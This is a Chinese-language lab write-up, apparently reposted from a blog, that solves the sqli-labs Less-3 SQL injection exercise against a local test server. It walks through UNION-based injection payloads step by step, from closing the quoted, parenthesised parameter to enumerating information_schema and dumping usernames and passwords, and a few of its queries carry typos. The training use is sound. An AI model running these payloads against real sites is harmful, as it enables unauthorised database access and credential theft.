数据库
首页 > 数据库> > sql-libs less3 答案详解

sql-libs less3 答案详解

作者:互联网

1、首先对sql的注入语句类型,进行判断,发现当输入数值时,不发生报错,当有单引号时,有错误进行。
sql语句的猜测:
select * from 。。 where id=(‘’)
当自己添加‘)进行闭合时,发现整体式子依然成立
说明自己的sql 语句的大致含义正确
2、判断对应的注入点的个数
http://127.0.0.1/Less-3/?id=2’) order by 1、2、3–+
当出现4的时候,发现错误,所以对应的列数共有3列
3、查找对应的注入点的位置
http://127.0.0.1/Less-3/?id=2‘) union select 1,2,3 --+
得到对应的注入点处是对应的2,3的位置
所以在2,3处进行大致的勘测
4、首先判断对应的数据库,查看是否可以使用对应的查看函数
http://127.0.0.1/Less-3/?id=-2’) union select 1,version(),database() --+
查找到对应的数据库版本是5.0以上,所以用数据库中相关的表进行整体的应用
http://127.0.0.1/Less-3/?id=-2’) union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema =database --+
进而查找到对应数据库中,所含有的所有的表
5、找到类似于密码的对应表,将其内容进行全部提取
http://127.0.0.1/Less-3/?id=-2’) union select 1,version(),group_concat(column_name) from information_schema.columns where table_schema =database and table_name=‘users’–+
进而,获取相关表的所有列名

6、最后提取所有用户的相关的信息密码数据
http://127.0.0.1/Less-3/?id=-2’) union select 1,version(),group_concat(id,username,password) from secrity.users --+
将对应密码取出来

标签:127.0,Less,0.1,id,sql,libs,对应,select,less3
来源: https://blog.csdn.net/weixin_45837168/article/details/122541823